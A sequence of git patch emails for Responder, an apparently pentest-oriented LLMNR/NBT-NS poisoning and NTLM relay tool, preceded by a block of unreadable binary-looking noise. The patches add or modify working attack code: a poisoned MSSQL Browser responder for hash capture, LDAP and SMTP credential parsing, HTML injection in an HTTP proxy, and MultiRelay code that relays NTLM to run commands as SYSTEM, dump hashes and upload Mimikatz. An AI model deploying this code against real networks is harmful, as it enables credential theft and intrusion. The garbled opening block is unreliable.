z0k)^?q^pvr^j7*4#0`zRw;}X4jnbm|RHrY&sI3XE?pUFDhh#N^+Rae2csr&QN>``GwF%Q+-4-YtB9ZV20LLGy{Gzm|5sya=bp%$Tp=c^0V<-x-pD_ohB8GP8W zLX(<9sqrb)CY>)qDkiJAFnF(9g_^OQxC?uc-~%Yr!{l|2##4qrx9 zr5=6{8Jm4%xDLm&HYbr|!AvG|lWAs~P4SOaGlxWD9>oy(fG=arLcHT?c*pa}goTo_ z3aQ_Kylf^=*-3WcAhqg8uA>_AIP197Ji~Ix5)NU~`H!)tZK3E@I8jr|x74P~&oI6-IiUwKKT3XN5*aCg4C8wt1R8 zgE!rZ$yO``Bv{HDFRO?~*MY)sr21;By&Wfe7nXaUeE?_saPW4Q3QCQxctZVvDf6Ad zyYIaf$nql-a6l~hu@WkKB*i!NABD#BY__loBHq zyPk&&wwZ#m?U?6GFykV!g!6Gnvv`N6Y0PK=NZKAyp=(@h`kDRXqBAKjBwOQRvdi3q zsD!!dBgjc9ulGerNYx?2&Hn!+DN~V>VkBfK(y=a%0`9a1>>=hlNa5mf5{iNyu``gB zY`cXm@=8w*5Mdsna=ty(9%D~Jf@UB+3z3{vNX(H1CRxN}ZZwBC?D9dZ$KWVT z#Z4&2Nmz=Lur9ip;;>z~3J2n)E@a5329I>D@JdQCzrURn4C+>)t+EryG>0VN8l?`3 zq8R^6z{e_^4Oh#dtRSDozl5-OA3;JUqLCNW?_QxnY$GwkUL2leBZAA5LCsqoBR);> zSrP%WO_UkgK!qGNP8w&7FoX{Cjm&M#Y|66FXK{ybr-t(q&cGDbZ8+AYw#wq$$6CuIYm~>^ zibYh=>~#0IEl7=v0Cy&N+8m0`yHb77n`)B&UOw-N3m-74VED<4YuR?1T+N#h}nb@lKyt1duw42`k0PO9qe1pxhw~Q`Ukt7@D%KtipaIHwQ~Yr7^gFQ*Z!7 zs}`>5a7C}du7y@Dv}vJ5I{;2~gwXONHcdcvWW+66Q#mGL$a3+D@_8qB5+$;s9tpL` z5_wg;$Ym=fE_(>r#ke_hp90 z-&4enb;WuO#b!;zQY}?CsGHS2nM4UE)rgi((xNF6n@c2+A3T~@p>wQ1GBydxnosHf zIt5p`*Ocpjq#J=># vj!eUP%tz?f;7M+#q-ih0cL4D_jAA&7YB(8;?pdK~kd<4(4F3?{BdPxnI=Rl4 From 44a4e495ccb21098c6b882feb25e636510fc72b9 Mon Sep 17 00:00:00 2001 From: Randy Ramos Date: Sat, 22 Apr 2017 14:40:19 -0400 Subject: [PATCH 007/219] Fixed instances of "CRTL-C" to "CTRL-C" --- tools/Icmp-Redirect.py | 2 +- tools/MultiRelay.py | 76 +++++++++++++++++++++--------------------- utils.py | 2 +- 3 files changed, 40 insertions(+), 40 deletions(-) diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index 4ff10ca..c71b240 100755 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -214,7 +214,7 @@ def IcmpRedirectSock(DestinationIP): def FindWhatToDo(ToThisHost2): if ToThisHost2 != None: - Show_Help('Hit CRTL-C to kill this script') + Show_Help('Hit CTRL-C to kill this script') RunThisInLoop(ToThisHost, ToThisHost2,OURIP) if ToThisHost2 == None: Show_Help(MoreHelp) diff --git a/tools/MultiRelay.py b/tools/MultiRelay.py index 2608426..1ecb71d 100755 --- a/tools/MultiRelay.py +++ b/tools/MultiRelay.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -33,7 +33,7 @@ except ImportError: try: import readline except: - print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" + print "Warning: readline module is not available, you will not be able to use the arrow keys for command history" pass from MultiRelay.RelayMultiPackets import * from MultiRelay.RelayMultiCore import * @@ -104,7 +104,7 @@ def ShowWelcome(): print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1) print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com' print 'Usernames to relay (-u) are case sensitive.' - print 'To kill this script hit CRTL-C.\n' + print 'To kill this script hit CTRL-C.\n' print color('/*',8,1) print 'Use this script in combination with Responder.py for best results.' print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n' @@ -136,7 +136,7 @@ def ShowHelp(): print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)' print color('help',8,1)+' -> Print this message.' print color('exit',8,1)+' -> Exit this shell and return in relay mode.' - print ' If you want to quit type exit and then use CRTL-C\n' + print ' If you want to quit type exit and then use CTRL-C\n' print color('Any other command than that will be run as SYSTEM on the target.\n',8,1) Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../" @@ -185,7 +185,7 @@ def IsPivotOn(): def ConnectToTarget(): try: s = socket(AF_INET, SOCK_STREAM) - s.connect((Host[0],445)) + s.connect((Host[0],445)) return s except: try: @@ -195,7 +195,7 @@ def ConnectToTarget(): pass class HTTPProxyRelay(BaseRequestHandler): - + def handle(self): try: @@ -236,12 +236,12 @@ class HTTPProxyRelay(BaseRequestHandler): if smbdata[8:10] == "\x72\x00": head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# - t.calculate() + t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 s.send(buffer1) smbdata = s.recv(2048) #got it here. - + ## Send HTTP Proxy Buffer_Ans = WPAD_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb @@ -291,7 +291,7 @@ class HTTPProxyRelay(BaseRequestHandler): class HTTPRelay(BaseRequestHandler): - + def handle(self): try: @@ -333,12 +333,12 @@ class HTTPRelay(BaseRequestHandler): if smbdata[8:10] == "\x72\x00": head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))# - t.calculate() + t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 s.send(buffer1) smbdata = s.recv(2048) #got it here. - + ## Send HTTP Response. Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb @@ -366,7 +366,7 @@ class HTTPRelay(BaseRequestHandler): t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay. t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 print "[+] SMB Session Auth sent." s.send(buffer1) smbdata = s.recv(2048) @@ -388,7 +388,7 @@ class HTTPRelay(BaseRequestHandler): pass class SMBRelay(BaseRequestHandler): - + def handle(self): try: @@ -462,14 +462,14 @@ class SMBRelay(BaseRequestHandler): #We're all set, dropping into shell. RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) #If runcmd is None it's because tree connect was denied for this user. - #This will only happen once with that specific user account. + #This will only happen once with that specific user account. #Let's kill that connection so we can force him to reauth with another account. if RunCmd is None: s.close() return None else: - ##Send logon failure, so our client might authenticate with another account. + ##Send logon failure, so our client might authenticate with another account. head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) @@ -516,15 +516,15 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): del ShellOpen[:] return False - ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: + ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Tree Connect if data[8:10] == "\x73\x00": GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") - t.calculate() + t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) @@ -538,7 +538,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): del ShellOpen[:] return False - # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. + # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. if data[8:10] == "\x75\xcc": print "[+] Tree Connect AndX denied. Bad Network Name returned." del ShellOpen[:] @@ -552,9 +552,9 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): print "[+] Looks good, "+Username+" has admin rights on C$." head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$") - t.calculate() + t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) @@ -588,7 +588,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): t.daemon = True t.start() - #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation + #Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation #to maintain MultiRelay alive and well. count = 0 DoEvery = random.randint(10, 45) @@ -622,8 +622,8 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): del ShellOpen[:] return None - ##For all of the following commands we send the data (var: data) returned by the - ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. + ##For all of the following commands we send the data (var: data) returned by the + ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##We also clean up the command array when done. if DumpReg: data = DumpHashes(data, s, Target[0]) @@ -641,7 +641,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): if Upload: File = Upload[0] - if os.path.isfile(File): + if os.path.isfile(File): FileSize, FileContent = UploadContent(File) File = os.path.basename(File) data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) @@ -661,7 +661,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): del Cmd[:] if RunAs: - if os.path.isfile(RunAsFileName): + if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) FileName = os.path.basename(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) @@ -673,11 +673,11 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): del Cmd[:] if LCmd: - subprocess.call(LCmd[0], shell=True) + subprocess.call(LCmd[0], shell=True) del Cmd[:] if Mimi: - if os.path.isfile(MimikatzFilename): + if os.path.isfile(MimikatzFilename): FileSize, FileContent = UploadContent(MimikatzFilename) FileName = os.path.basename(MimikatzFilename) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) @@ -689,7 +689,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): del Cmd[:] if Mimi32: - if os.path.isfile(Mimikatzx86Filename): + if os.path.isfile(Mimikatzx86Filename): FileSize, FileContent = UploadContent(Mimikatzx86Filename) FileName = os.path.basename(Mimikatzx86Filename) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) @@ -710,7 +710,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): del Pivot[:] del Cmd[:] else: - if os.path.isfile(RunAsFileName): + if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) FileName = os.path.basename(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) @@ -719,7 +719,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): if Status == True: print "[+] Pivoting to %s."%(Pivot[0]) - if os.path.isfile(RunAsFileName): + if os.path.isfile(RunAsFileName): FileSize, FileContent = UploadContent(RunAsFileName) data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) #shell will close. @@ -754,7 +754,7 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): ##Let go with the command. if any(x in Cmd for x in Cmd): if len(Cmd[0]) > 1: - if os.path.isfile(SysSVCFileName): + if os.path.isfile(SysSVCFileName): FileSize, FileContent = UploadContent(SysSVCFileName) FileName = os.path.basename(SysSVCFileName) RunPath = '%windir%\\Temp\\'+FileName @@ -768,12 +768,12 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): if data is None: print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n" - if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. + if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")# - t.calculate() + t.calculate() packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 + buffer1 = longueur(packet1)+packet1 s.send(buffer1) data = s.recv(2048) @@ -788,7 +788,7 @@ def serve_thread_tcp(host, port, handler): try: server = ThreadingTCPServer((host, port), handler) server.serve_forever() - except: + except: print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1) def main(): diff --git a/utils.py b/utils.py index 268c419..3620329 100644 --- a/utils.py +++ b/utils.py @@ -293,7 +293,7 @@ def banner(): print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ print "" print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" - print " To kill this script hit CRTL-C" + print " To kill this script hit CTRL-C" print "" From bff935e71ea401a4477004022623b1617ac090b3 Mon Sep 17 00:00:00 2001 From: Matthew Daley Date: Fri, 23 Jun 2017 19:15:16 +1200 Subject: [PATCH 008/219] Add Microsoft SQL Server Browser responder When connecting to a named instance, a SQL client (at least SQL Server Native Client) will send a request (namely a CLNT_UCAST_INST message) to the server's SQL Server Browser service for instance connection information. If it gets no response, the connection attempt fails. By adding a SQL Server Browser responder for these requests, we ensure that connections are successfully made to the SQL Server responder for hash capture. As per the comment, this is based on the document "[MC-SQLR]: SQL Server Resolution Protocol", currently available at . --- Responder.py | 3 ++- servers/MSSQL.py | 30 ++++++++++++++++++++++++++++++ 2 files changed, 32 insertions(+), 1 deletion(-) diff --git a/Responder.py b/Responder.py index 9af8d86..ca3e5d7 100755 --- a/Responder.py +++ b/Responder.py @@ -268,8 +268,9 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) if settings.Config.SQL_On_Off: - from servers.MSSQL import MSSQL + from servers.MSSQL import MSSQL, MSSQLBrowser threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) + threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 1434, MSSQLBrowser,))) if settings.Config.FTP_On_Off: from servers.FTP import FTP diff --git a/servers/MSSQL.py b/servers/MSSQL.py index 3f196f3..1d53231 100644 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -17,6 +17,7 @@ from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * +import random import struct class TDS_Login_Packet: @@ -149,3 +150,32 @@ class MSSQL(BaseRequestHandler): except: self.request.close() pass + +# MSSQL Server Browser class +# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx +class MSSQLBrowser(BaseRequestHandler): + def handle(self): + if settings.Config.Verbose: + print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]) + + data, soc = self.request + + if data: + if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX + self.send_response(soc, "MSSQLSERVER") + elif data[0] == "\x04": # CLNT_UCAST_INST + self.send_response(soc, data[1:].rstrip("\x00")) + elif data[0] == "\x0F": # CLNT_UCAST_DAC + self.send_dac_response(soc) + + def send_response(self, soc, inst): + print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]) + + server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20))) + resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst) + soc.sendto(struct.pack(" Date: Sat, 24 Jun 2017 22:14:47 +1200 Subject: [PATCH 009/219] Update README.md with new SQL Browser port usage --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ccf7ad3..6b47702 100644 --- a/README.md +++ b/README.md @@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c ## Considerations ## -- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553. +- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553. - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. From 5859c31e8ecf35c5b12ac653e8ab793bc9270604 Mon Sep 17 00:00:00 2001 From: Matt Kelly Date: Wed, 28 Jun 2017 14:09:05 -0500 Subject: [PATCH 010/219] Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 Add in check for uptime since March 14th 2017, which could indicate the system is vulnerable to MS17-010 (EternalBlue/dismay style exploit) --- tools/FindSMB2UPTime.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index 1b0d787..b5c1682 100755 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -33,9 +33,13 @@ def GetBootTime(data): def IsDCVuln(t): Date = datetime.datetime(2014, 11, 17, 0, 30) if t[0] < Date: - print "DC is up since:", t[1] - print "This DC is vulnerable to MS14-068" - print "DC is up since:", t[1] + print "System is up since:", t[1] + print "This system may be vulnerable to MS14-068" + Date = datetime.datetime(2017, 03, 14, 0, 30) + if t[0] < Date: + print "System is up since:", t[1] + print "This system may be vulnerable to MS17-010" + print "DC is up since:", t[1] def run(host): @@ -63,6 +67,6 @@ def run(host): if __name__ == "__main__": if len(sys.argv)<=1: - sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address') + sys.exit('Usage: python '+sys.argv[0]+' System-IP-address') host = sys.argv[1],445 run(host) From 33bde4190259414ad790fad9e2dcf0aa5281eed1 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 25 Aug 2017 09:03:01 +1000 Subject: [PATCH 011/219] Pass Challenge value to the LDAP parsing function --- servers/LDAP.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/servers/LDAP.py b/servers/LDAP.py index d7e4d30..d25d88f 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -27,7 +27,7 @@ def ParseSearch(data): elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) -def ParseLDAPHash(data, client): +def ParseLDAPHash(data, client, Challenge): SSPIStart = data[42:] LMhashLen = struct.unpack(' Date: Mon, 28 Aug 2017 18:37:34 +0200 Subject: [PATCH 012/219] Fixed space typo in FindSMB2UPTime.py --- tools/FindSMB2UPTime.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/FindSMB2UPTime.py b/tools/FindSMB2UPTime.py index b5c1682..22f3f82 100755 --- a/tools/FindSMB2UPTime.py +++ b/tools/FindSMB2UPTime.py @@ -39,7 +39,7 @@ def IsDCVuln(t): if t[0] < Date: print "System is up since:", t[1] print "This system may be vulnerable to MS17-010" - print "DC is up since:", t[1] + print "DC is up since:", t[1] def run(host): From 75aa21bbb90650e41d430d6042c4748d0806b4b8 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 4 Sep 2017 18:50:04 -0300 Subject: [PATCH 013/219] Several Bugfix --- servers/MSSQL.py | 39 ++++++++++++++++++--------------------- 1 file changed, 18 insertions(+), 21 deletions(-) diff --git a/servers/MSSQL.py b/servers/MSSQL.py index 1d53231..4400df7 100644 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -120,35 +120,32 @@ def ParseClearTextSQLPass(data, client): # MSSQL Server class class MSSQL(BaseRequestHandler): def handle(self): - if settings.Config.Verbose: - print text("[MSSQL] Received connection from %s" % self.client_address[0]) try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - Challenge = RandomChallenge() + data = self.request.recv(1024) + if settings.Config.Verbose: + print text("[MSSQL] Received connection from %s" % self.client_address[0]) - if data[0] == "\x12": # Pre-Login Message - Buffer = str(MSSQLPreLoginAnswer()) + if data[0] == "\x12": # Pre-Login Message + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(Buffer) + data = self.request.recv(1024) + + if data[0] == "\x10": # NegoSSP + if re.search("NTLMSSP",data): + Challenge = RandomChallenge() + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) + Packet.calculate() + Buffer = str(Packet) self.request.send(Buffer) data = self.request.recv(1024) + else: + ParseClearTextSQLPass(data,self.client_address[0]) - if data[0] == "\x10": # NegoSSP - if re.search("NTLMSSP",data): - Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - Packet.calculate() - Buffer = str(Packet) - self.request.send(Buffer) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - - if data[0] == "\x11": # NegoSSP Auth - ParseSQLHash(data,self.client_address[0]) + if data[0] == "\x11": # NegoSSP Auth + ParseSQLHash(data,self.client_address[0],Challenge) except: - self.request.close() pass # MSSQL Server Browser class From be26b504b5133c78158d9794cd361ce1a7418775 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 4 Sep 2017 21:57:51 -0300 Subject: [PATCH 014/219] Fixed various bugs and improved the LDAP module. --- servers/LDAP.py | 32 +++++++++++++++++++++++++------- tools/DHCP_Auto.sh | 0 tools/FindSMB2UPTime.py | 2 +- 3 files changed, 26 insertions(+), 8 deletions(-) mode change 100644 => 100755 tools/DHCP_Auto.sh diff --git a/servers/LDAP.py b/servers/LDAP.py index d25d88f..6c6e612 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -102,19 +102,37 @@ def ParseLDAPPacket(data, client, Challenge): elif Operation == "\x63": Buffer = ParseSearch(data) return Buffer + elif settings.Config.Verbose: print text('[LDAP] Operation not supported') + if data[5:6] == '\x60': + UserLen = struct.unpack(" Date: Mon, 4 Sep 2017 23:15:27 -0300 Subject: [PATCH 015/219] Changed the complete LDAP parsing hash algo (ntlmv2 bug). --- servers/LDAP.py | 68 ++++++++++++++++++++++++++++++------------------- 1 file changed, 42 insertions(+), 26 deletions(-) diff --git a/servers/LDAP.py b/servers/LDAP.py index 6c6e612..dce8fcb 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -27,37 +27,53 @@ def ParseSearch(data): elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) -def ParseLDAPHash(data, client, Challenge): - SSPIStart = data[42:] - LMhashLen = struct.unpack(' 10: - LMhashOffset = struct.unpack(' 60: + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' Date: Wed, 6 Sep 2017 02:07:41 -0300 Subject: [PATCH 016/219] added support for plain auth --- servers/SMTP.py | 55 ++++++++++++++++++++++++++++++++----------------- 1 file changed, 36 insertions(+), 19 deletions(-) diff --git a/servers/SMTP.py b/servers/SMTP.py index b2a5d8a..cf8f903 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -26,28 +26,16 @@ class ESMTP(BaseRequestHandler): self.request.send(str(SMTPGreeting())) data = self.request.recv(1024) - if data[0:4] == "EHLO": + if data[0:4] == "EHLO" or data[0:4] == "ehlo": self.request.send(str(SMTPAUTH())) data = self.request.recv(1024) if data[0:4] == "AUTH": - self.request.send(str(SMTPAUTH1())) - data = self.request.recv(1024) - - if data: - try: - User = filter(None, b64decode(data).split('\x00')) - Username = User[0] - Password = User[1] - except: - Username = b64decode(data) - - self.request.send(str(SMTPAUTH2())) - data = self.request.recv(1024) - - if data: - try: Password = b64decode(data) - except: Password = data + AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data) + if AuthPlain: + User = filter(None, b64decode(AuthPlain[0]).split('\x00')) + Username = User[0] + Password = User[1] SaveToDb({ 'module': 'SMTP', @@ -56,7 +44,36 @@ class ESMTP(BaseRequestHandler): 'user': Username, 'cleartext': Password, 'fullhash': Username+":"+Password, - }) + }) + + else: + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + + if data: + try: + User = filter(None, b64decode(data).split('\x00')) + Username = User[0] + Password = User[1] + except: + Username = b64decode(data) + + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + + if data: + try: Password = b64decode(data) + except: Password = data + + SaveToDb({ + 'module': 'SMTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Username, + 'cleartext': Password, + 'fullhash': Username+":"+Password, + }) except Exception: + raise pass From 47c311553eb38327622d5e6b25e20a662c31c30d Mon Sep 17 00:00:00 2001 From: Lionel PRAT Date: Thu, 16 Nov 2017 16:31:18 +0100 Subject: [PATCH 017/219] Add ignore case on check body for html inject --- servers/HTTP_Proxy.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index 71e6e75..0a71f2f 100644 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -52,9 +52,9 @@ def InjectData(data, client, req_uri): return RespondWithFile(client, settings.Config.Html_Filename) Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) - HasBody = re.findall(r'(]*>)', Content) + HasBody = re.findall(r'(]*>)', Content, re.IGNORECASE) - if HasBody and len(settings.Config.HtmlToInject) > 2: + if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'): if settings.Config.Verbose: print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) From b37f56264a6b57faff81c12a8143662bf1ddb91d Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 19 Nov 2017 22:58:28 -0300 Subject: [PATCH 018/219] Added: check for null sessions and MS17-010 --- tools/RunFinger.py | 159 +++++++-------- tools/RunFingerPackets.py | 410 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 484 insertions(+), 85 deletions(-) create mode 100644 tools/RunFingerPackets.py diff --git a/tools/RunFinger.py b/tools/RunFinger.py index aeca581..bba8c07 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -20,6 +20,7 @@ import multiprocessing from socket import * from odict import OrderedDict import optparse +from RunFingerPackets import * __version__ = "0.7" @@ -61,82 +62,6 @@ def GetBootTime(data): time = datetime.datetime.fromtimestamp(t[0]) return time, time.strftime('%Y-%m-%d %H:%M:%S') -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = struct.pack("i", len(''.join(payload))) + return length + +class Packet(): + fields = OrderedDict([ + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("error-code", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) + +class SMBNego(Packet): + fields = OrderedDict([ + ("Wordcount", "\x00"), + ("Bcc", "\x62\x00"), + ("Data", "") + ]) + + def calculate(self): + self.fields["Bcc"] = struct.pack(" Date: Mon, 20 Nov 2017 12:38:54 +0000 Subject: [PATCH 019/219] Update RunFinger.py --- tools/RunFinger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index bba8c07..00d1874 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -228,7 +228,7 @@ 